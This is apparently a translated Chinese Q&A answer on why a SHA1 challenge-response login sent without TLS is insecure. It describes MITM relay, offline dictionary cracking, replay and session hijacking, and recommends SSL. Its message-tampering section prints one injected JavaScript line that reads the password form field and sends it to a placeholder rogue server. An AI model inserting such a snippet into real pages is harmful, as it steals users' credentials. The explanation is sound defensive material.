当然,是否“足够安全”取决于您作为系统所有者的判断。如果您预期的对手没有技术并且缺乏动机,并且身份验证失败的影响较小,则可以认为是安全的。但如果您要保护的内容具有重要价值,则这可能不是一个足够安全的解决方案。
以下是几种攻击方式,这种方法很可能会易受攻击。
中间人攻击:
Client Eavesdropper Server
Requests token-------X----------------------->
<--------------------X-------------Sends token
Sends PW hash--------X
Relays client hash ------>
X<-----------Authenticates
窃听者监听客户端的认证响应,然后将其转发给服务器。服务器验证其正确性并对窃听者进行身份验证。
离线密码哈希攻击
能够读取客户端和服务器之间消息的窃听者将拥有令牌和用于生成哈希的逻辑(来自JavaScript)。因此,攻击者将知道H(token + H(password))
、token
和H(x)
,其中H
是加密哈希算法(SHA1)。
攻击者可以对客户端响应运行字典攻击以猜测密码,攻击者可以尝试使用字典攻击和类似方法离线破解密码。由于攻击者不需要对服务器进行身份验证,而是可以离线破解密码,因此中等弱密码可以很快被破解。
在传输过程中修改服务器消息
客户端无法保证服务器消息的完整性,消息可能在传输过程中被修改。例如,恶意中介可以将一行JavaScript插入HTML页面中,通过DOM截取密码并将其发送到流氓服务器。(例如,流氓中介可能在表单提交方法中插入new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value
。)
重放攻击
如果服务器令牌重复频率足够高,则窃听者可以捕获成功的令牌/响应对。攻击者可以随后进行大量的令牌请求,等待已知令牌被回收。然后,攻击者将已知令牌响应重放到服务器上。服务器将攻击者的响应与预期响应进行比较并对攻击者进行身份验证。
身份认证后攻击
会话经过身份验证后,客户端和服务器消息继续以明文形式发送。攻击者可能会进行会话劫持攻击,使用客户端的会话cookie来冒充经过身份验证的客户端。攻击者还可能截取服务器和客户端之间的机密数据,或在传输中更改数据,从而危及客户端/服务器通信的机密性、完整性和不可否认性。例如,客户端可能发送一个响应以执行BenignAction
,攻击者在传输中将其更改为GetSecretData
。攻击者随后读取表面上包含机密数据的响应。
这就是说,所提出的方法可能比以明文形式发送密码并没有更多的安全性。如果安全性是一个问题,使用来自受信任CA的证书的SSL将(实际上)有效地防止所有这些攻击。